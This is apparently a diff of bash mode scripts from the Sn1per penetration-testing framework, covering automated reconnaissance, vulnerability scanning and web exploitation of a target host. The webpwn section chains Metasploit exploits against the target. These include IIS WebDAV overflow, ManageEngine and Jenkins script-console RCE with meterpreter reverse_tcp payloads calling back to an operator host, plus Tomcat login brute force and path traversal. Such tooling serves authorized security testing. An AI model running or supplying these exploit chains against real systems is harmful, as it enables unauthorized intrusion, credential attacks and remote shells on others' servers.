curl -sX GET "http://api.hackertarget.com/pagelinks/?q=https://$TARGET" | egrep -v "API count|no links found|input url is invalid|API count|no links found|input url is invalid" | tee $LOOT_DIR/web/hackertarget-https-$TARGET.txt 2> /dev/null
|
||||
echo " "
|
||||
fi
|
||||
if [[ "$BLACKWIDOW" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING ACTIVE WEB SPIDER $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
if [[ "$VERBOSE" == "1" ]]; then
|
||||
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN blackwidow -u https://$TARGET:443 -l 3$RESET"
|
||||
fi
|
||||
touch $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
cp $LOOT_DIR/web/spider-$TARGET.txt $LOOT_DIR/web/spider-$TARGET.bak 2>/dev/null
|
||||
blackwidow -u https://$TARGET:443 -l 2 -v n
|
||||
cp -f /usr/share/blackwidow/"$TARGET"_443/"$TARGET"_443-*.txt $LOOT_DIR/web/ 2>/dev/null
|
||||
cat /usr/share/blackwidow/"$TARGET"_*/"$TARGET"_*-urls-sorted.txt > $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
cat $LOOT_DIR/web/waybackurls-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
cat $LOOT_DIR/web/hackertarget-*-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
cat $LOOT_DIR/web/passivespider-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
sed -ir "s/</\&lh\;/g" $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
sort -u $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null > $LOOT_DIR/web/spider-$TARGET.sorted 2>/dev/null
|
||||
mv $LOOT_DIR/web/spider-$TARGET.sorted $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
diff $LOOT_DIR/web/spider-$TARGET.bak $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null | grep "> " 2> /dev/null | awk '{print $2}' 2> /dev/null > $LOOT_DIR/web/spider-new-$TARGET.txt
|
||||
if [[ "$SLACK_NOTIFICATIONS_SPIDER_NEW" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/web/spider-new-$TARGET.txt"
|
||||
fi
|
||||
fi
|
||||
if [[ $WEB_BRUTE_STEALTHSCAN == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING FILE/DIRECTORY BRUTE FORCE $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
if [[ "$VERBOSE" == "1" ]]; then
|
||||
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u https://$TARGET -w $WEB_BRUTE_STEALTH -x 400,403,404,405,406,429,502,503,504 -F -e php,asp,aspx,bak,zip,tar.gz,html,htm $RESET"
|
||||
fi
|
||||
if [[ "$DIRSEARCH" == "1" ]]; then
|
||||
touch $LOOT_DIR/web/dirsearch-$TARGET.bak 2> /dev/null
|
||||
cp $LOOT_DIR/web/dirsearch-$TARGET.txt $LOOT_DIR/web/dirsearch-$TARGET.bak 2> /dev/null
|
||||
python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u https://$TARGET -w $WEB_BRUTE_STEALTH -x 400,403,404,405,406,429,502,503,504 -F -e * -t $THREADS --random-agents --plain-text-report=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > /dev/null && cat $LOOT_DIR/web/dirsearch-$TARGET.txt
|
||||
cat $PLUGINS_DIR/dirsearch/reports/$TARGET/* 2> /dev/null
|
||||
cat $PLUGINS_DIR/dirsearch/reports/$TARGET/* > $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null
|
||||
sort -u $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > $LOOT_DIR/web/dirsearch-$TARGET.sorted 2> /dev/null
|
||||
mv $LOOT_DIR/web/dirsearch-$TARGET.sorted $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null
|
||||
diff $LOOT_DIR/web/dirsearch-$TARGET.bak $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null | grep "> " 2> /dev/null | awk '{print $2 " " $3 " " $4}' 2> /dev/null > $LOOT_DIR/web/dirsearch-new-$TARGET.txt
|
||||
if [[ "$SLACK_NOTIFICATIONS_DIRSEARCH_NEW" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/web/dirsearch-new-$TARGET.txt"
|
||||
fi
|
||||
fi
|
||||
if [[ "$GOBUSTER" == "1" ]]; then
|
||||
gobuster -u https://$TARGET -w $WEB_BRUTE_STEALTH -e | tee $LOOT_DIR/web/webbrute-$TARGET-https-stealth.txt
|
||||
sort -u $LOOT_DIR/web/webbrute-$TARGET-*.txt 2> /dev/null > $LOOT_DIR/web/webbrute-$TARGET.txt 2> /dev/null
|
||||
fi
|
||||
if [[ "$VERBOSE" == "1" ]]; then
|
||||
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN wget https://$TARGET/robots.txt -O $LOOT_DIR/web/robots-$TARGET-https.txt 2> /dev/null$RESET"
|
||||
fi
|
||||
wget https://$TARGET/robots.txt -O $LOOT_DIR/web/robots-$TARGET-https.txt 2> /dev/null
|
||||
egrep -v '<|>|;|(|)' $LOOT_DIR/web/robots-$TARGET-https.txt | tee $LOOT_DIR/web/robots-$TARGET-https.txt
|
||||
fi
|
||||
if [[ "$SSL" = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED GATHERING SSL/TLS INFO $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
if [[ "$VERBOSE" == "1" ]]; then
|
||||
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN sslscan --no-failed $TARGET | tee $LOOT_DIR/web/sslscan-$TARGET.raw 2> /dev/null$RESET"
|
||||
fi
|
||||
sslscan --no-failed $TARGET | tee $LOOT_DIR/web/sslscan-$TARGET.raw 2> /dev/null
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/sslscan-$TARGET.raw > $LOOT_DIR/web/sslscan-$TARGET.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/web/sslscan-$TARGET.raw 2> /dev/null
|
||||
fi
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED SAVING SCREENSHOTS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
if [[ $CUTYCAPT = "1" ]]; then
|
||||
if [[ $DISTRO == "blackarch" ]]; then
|
||||
/bin/CutyCapt --url=https://$TARGET --out=$LOOT_DIR/screenshots/$TARGET-port443.jpg --insecure --max-wait=5000 2> /dev/null
|
||||
else
|
||||
if [[ "$VERBOSE" == "1" ]]; then
|
||||
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN cutycapt --url=https://$TARGET --out=$LOOT_DIR/screenshots/$TARGET-port443.jpg --insecure --max-wait=5000 2> /dev/null$RESET"
|
||||
fi
|
||||
cutycapt --url=https://$TARGET --out=$LOOT_DIR/screenshots/$TARGET-port443.jpg --insecure --max-wait=5000 2> /dev/null
|
||||
fi
|
||||
fi
|
||||
if [[ $WEBSCREENSHOT = "1" ]]; then
|
||||
cd $LOOT_DIR
|
||||
python2 $INSTALL_DIR/bin/webscreenshot.py -r chromium https://$TARGET:443
|
||||
fi
|
||||
echo -e "$OKRED[+]$RESET Screenshot saved to $LOOT_DIR/screenshots/$TARGET-port443.jpg"
|
||||
fi
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED SCAN COMPLETE! $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e ""
|
||||
echo -e ""
|
||||
echo -e ""
|
||||
echo -e ""
|
||||
echo -e ""
|
||||
echo -e ""
|
||||
echo -e ""
|
||||
echo -e ""
|
||||
echo -e ""
|
||||
echo -e ""
|
||||
echo -e ""
|
||||
echo -e ""
|
||||
echo -e ""
|
||||
echo -e ""
|
||||
echo -e ""
|
||||
echo "$TARGET" >> $LOOT_DIR/scans/updated.txt
|
||||
mv $LOOT_DIR/scans/running-$TARGET-stealth.txt $LOOT_DIR/scans/finished-$TARGET-stealth.txt 2> /dev/null
|
||||
rm -f $INSTALL_DIR/.fuse_* 2> /dev/null
|
||||
sort -u $LOOT_DIR/ips/ips-all-unsorted.txt 2> /dev/null > $LOOT_DIR/ips/ips-all-sorted.txt 2> /dev/null
|
||||
if [[ "$LOOT" = "1" ]]; then
|
||||
loot
|
||||
fi
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Finished Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
fi
|
||||
exit
|
||||
fi
|
||||
|
|
@ -0,0 +1,76 @@
|
|||
# FULLPORTONLY MODE
|
||||
if [[ "$MODE" = "vulnscan" ]]; then
|
||||
|
||||
if [[ "$REPORT" = "1" ]]; then
|
||||
args="-t $TARGET"
|
||||
|
||||
if [[ ! -z "$WORKSPACE" ]]; then
|
||||
args="$args -w $WORKSPACE"
|
||||
LOOT_DIR=$INSTALL_DIR/loot/workspace/$WORKSPACE
|
||||
echo -e "$OKBLUE[*]$RESET Saving loot to $LOOT_DIR [$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET"
|
||||
mkdir -p $LOOT_DIR 2> /dev/null
|
||||
mkdir $LOOT_DIR/domains 2> /dev/null
|
||||
mkdir $LOOT_DIR/screenshots 2> /dev/null
|
||||
mkdir $LOOT_DIR/nmap 2> /dev/null
|
||||
mkdir $LOOT_DIR/notes 2> /dev/null
|
||||
mkdir $LOOT_DIR/reports 2> /dev/null
|
||||
mkdir $LOOT_DIR/scans 2> /dev/null
|
||||
mkdir $LOOT_DIR/output 2> /dev/null
|
||||
fi
|
||||
|
||||
args="$args --noreport -m vulnscan"
|
||||
echo "$TARGET $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2> /dev/null
|
||||
echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/$TARGET-vulnscan.txt
|
||||
echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/running-$TARGET-vulnscan.txt
|
||||
sniper $args | tee $LOOT_DIR/output/sniper-$TARGET-$MODE-`date +"%Y%m%d%H%M"`.txt 2>&1
|
||||
exit
|
||||
fi
|
||||
|
||||
logo
|
||||
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Started Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
fi
|
||||
|
||||
echo "$TARGET" >> $LOOT_DIR/domains/targets.txt
|
||||
|
||||
if [[ "$OPENVAS" = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING OPENVAS VULNERABILITY SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
ASSET_ID=$(omp -u $OPENVAS_USERNAME -w $OPENVAS_PASSWORD --xml="<create_target><name>$TARGET</name><hosts>$TARGET</hosts></create_target>" | xmlstarlet sel -t -v /create_target_response/@id) && echo "ASSET_ID: $ASSET_ID"
|
||||
TASK_ID=$(omp -u $OPENVAS_USERNAME -w $OPENVAS_PASSWORD --xml "<create_task><name>$TARGET</name><preferences><preference><scanner_name>source_iface</scanner_name><value>eth0</value></preference></preferences><config id=\"74db13d6-7489-11df-91b9-002264764cea\"/><target id=\"$ASSET_ID\"/></create_task>" | xmlstarlet sel -t -v /create_task_response/@id) && echo "TASK_ID: $TASK_ID"
|
||||
REPORT_ID=$(omp -u $OPENVAS_USERNAME -w $OPENVAS_PASSWORD --xml "<start_task task_id=\"$TASK_ID\"/>" | cut -d\> -f3 | cut -d\< -f1) && echo "REPORT_ID: $REPORT_ID"
|
||||
resp=""
|
||||
while [[ $resp != "Done" && $REPORT_ID != "" ]]
|
||||
do
|
||||
omp -u $OPENVAS_USERNAME -w $OPENVAS_PASSWORD -G | grep $TARGET
|
||||
resp=$(omp -u $OPENVAS_USERNAME -w $OPENVAS_PASSWORD -G | grep $TARGET | awk '{print $2}')
|
||||
sleep 60
|
||||
done
|
||||
if [[ $REPORT_ID != "" ]]; then
|
||||
omp -u $OPENVAS_USERNAME -w $OPENVAS_PASSWORD --xml "<get_reports report_id=\"$REPORT_ID\" format_id=\"6c248850-1f62-11e1-b082-406186ea4fc5\"/>" | cut -d\> -f3 | cut -d\< -f1 | base64 -d > "$LOOT_DIR/output/openvas-$TARGET.html"
|
||||
|
||||
echo "Report saved to $LOOT_DIR/output/openvas-$TARGET.html"
|
||||
else
|
||||
echo "No report ID found. Listing scan tasks:"
|
||||
omp -u $OPENVAS_USERNAME -w $OPENVAS_PASSWORD -G | grep $TARGET
|
||||
fi
|
||||
fi
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED DONE $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo "$TARGET" >> $LOOT_DIR/scans/updated.txt
|
||||
mv $LOOT_DIR/scans/running-$TARGET-vulnscan.txt $LOOT_DIR/scans/finished-$TARGET-vulnscan.txt 2> /dev/null
|
||||
if [[ "$SLACK_NOTIFICATIONS_NMAP" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/nmap/nmap-$TARGET.txt"
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/nmap/nmap-$TARGET-udp.txt"
|
||||
fi
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Finished Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
fi
|
||||
loot
|
||||
exit
|
||||
fi
|
||||
|
||||
|
||||
|
|
@ -0,0 +1,22 @@
|
|||
# WEB MODE #############################################################################################################
|
||||
if [[ "$MODE" = "web" ]]; then
|
||||
if [[ "$REPORT" = "1" ]]; then
|
||||
if [[ ! -z "$WORKSPACE" ]]; then
|
||||
args="$args -w $WORKSPACE"
|
||||
LOOT_DIR=$INSTALL_DIR/loot/workspace/$WORKSPACE
|
||||
echo -e "$OKBLUE[*]$RESET Saving loot to $LOOT_DIR [$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET"
|
||||
mkdir -p $LOOT_DIR 2> /dev/null
|
||||
mkdir $LOOT_DIR/domains 2> /dev/null
|
||||
mkdir $LOOT_DIR/screenshots 2> /dev/null
|
||||
mkdir $LOOT_DIR/nmap 2> /dev/null
|
||||
mkdir $LOOT_DIR/notes 2> /dev/null
|
||||
mkdir $LOOT_DIR/reports 2> /dev/null
|
||||
mkdir $LOOT_DIR/scans 2> /dev/null
|
||||
mkdir $LOOT_DIR/output 2> /dev/null
|
||||
fi
|
||||
echo "$TARGET $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2> /dev/null
|
||||
echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/$TARGET-$MODE.txt
|
||||
sniper -t $TARGET -m $MODE --noreport $args | tee $LOOT_DIR/output/sniper-$TARGET-$MODE-`date +"%Y%m%d%H%M"`.txt 2>&1
|
||||
exit
|
||||
fi
|
||||
fi
|
||||
|
|
@ -0,0 +1,227 @@
|
|||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Started Sn1per webpwn scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
fi
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING JBOSS VULN SCANNER $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
msfconsole -q -x "use scanner/http/jboss_vulnscan; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-jboss_vulnscan.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-jboss_vulnscan.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-jboss_vulnscan.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-jboss_vulnscan.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING HTTP PUT UPLOAD SCANNER $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
msfconsole -q -x "use scanner/http/http_put; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; run; set PATH /uploads/; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-http_put.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-http_put.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-http_put.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-http_put.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING WEBDAV SCANNER $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
msfconsole -q -x "use scanner/http/webdav_scanner; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; run; use scanner/http/webdav_website_content; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-webdav_website_content.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-webdav_website_content.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-webdav_website_content.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-webdav_website_content.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING MICROSOFT IIS WEBDAV ScStoragePathFromUrl OVERFLOW $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
msfconsole -q -x "use exploit/windows/iis/iis_webdav_scstoragepathfromurl; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-iis_webdav_scstoragepathfromurl.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-iis_webdav_scstoragepathfromurl.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-iis_webdav_scstoragepathfromurl.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-iis_webdav_scstoragepathfromurl.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING MANAGEENGINE DESKTOP CENTRAL RCE EXPLOIT $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
msfconsole -q -x "use exploit/windows/http/manageengine_connectionid_write; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-manageengine_connectionid_write.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-manageengine_connectionid_write.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-manageengine_connectionid_write.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-manageengine_connectionid_write.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING APACHE TOMCAT ENUMERATION $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
msfconsole -q -x "use scanner/http/tomcat_enum; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_enum.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_enum.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_enum.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_enum.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING APACHE TOMCAT MANAGER LOGIN BRUTEFORCE $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
msfconsole -q -x "use auxiliary/scanner/http/tomcat_mgr_login; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_mgr_login.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_mgr_login.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_mgr_login.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_mgr_login.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING JENKINS ENUMERATION $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
msfconsole -q -x "use scanner/http/jenkins_enum; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; run; set TARGETURI /; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-jenkins_enum.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-jenkins_enum.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-jenkins_enum.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-jenkins_enum.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING JENKINS SCRIPT CONSOLE RCE EXPLOIT $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
msfconsole -q -x "use multi/http/jenkins_script_console; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; setg SSL "$SSL"; set TARGET 0; run; set TARGETURI /; run; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set TARGET 1; run; set PAYLOAD linux/x86/meterpreter/reverse_tcp; run; set TARGET 2; set PAYLOAD linux/x64/meterpreter/reverse_tcp; run; set PAYLOAD linux/x86/meterpreter/reverse_tcp; run; set TARGETURI /; run; set TARGET 1; run; set TARGET 2; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-jenkins_script_console.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-jenkins_script_console.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-jenkins_script_console.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-jenkins_script_console.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING APACHE TOMCAT UTF8 TRAVERSAL EXPLOIT $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
msfconsole -q -x "use admin/http/tomcat_utf8_traversal; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_utf8_traversal.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_utf8_traversal.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_utf8_traversal.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_utf8_traversal.raw 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING APACHE OPTIONS BLEED EXPLOIT $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
msfconsole -q -x "use scanner/http/apache_optionsbleed; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-apache_optionsbleed.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-apache_optionsbleed.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-apache_optionsbleed.txt 2> /dev/null
|
||||
